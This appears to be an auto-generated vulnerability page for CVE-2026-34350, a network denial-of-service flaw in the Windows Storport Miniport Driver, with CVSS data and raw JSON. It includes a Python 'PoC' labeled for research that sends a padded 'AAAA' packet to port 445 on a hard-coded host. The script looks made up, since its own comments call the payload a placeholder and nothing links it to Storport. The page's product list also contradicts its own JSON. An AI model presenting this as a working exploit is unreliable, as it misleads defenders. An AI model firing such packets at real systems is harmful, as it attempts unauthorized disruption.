Security Vulnerability Report
中文
CVE-2026-34350 CVSS 6.5 MEDIUM

CVE-2026-34350

Published: 2026-05-12 18:17:10
Last Modified: 2026-05-14 17:44:55

Description

Null pointer dereference in Windows Storport Miniport Driver allows an unauthorized attacker to deny service over a network.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:* - VULNERABLE
Windows 10 (多个版本)
Windows 11 (多个版本)
Windows Server 2019
Windows Server 2022

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # Proof of Concept for CVE-2026-34350 # This script attempts to trigger the null pointer dereference # by sending a malformed packet to the target. TARGET_IP = "192.168.1.100" TARGET_PORT = 445 # Example port, actual target port may vary def create_malformed_packet(): # Construct a packet with invalid pointer data # Header placeholder header = b"\x00\x00\x00\x00" # Malformed payload designed to hit the null pointer in Storport payload = b"\x41\x41\x41\x41" * 100 return header + payload def send_exploit(): try: print(f"[*] Sending exploit to {TARGET_IP}...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((TARGET_IP, TARGET_PORT)) packet = create_malformed_packet() sock.send(packet) print("[+] Packet sent successfully.") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34350", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:09.540", "lastModified": "2026-05-14T17:44:55.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Null pointer dereference in Windows Storport Miniport Driver allows an unauthorized attacker to deny service over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.32772", "matchCriteriaId": "9ABAB3B9-28AF-4278-8E78-E1191B1AFC0C"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34350", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}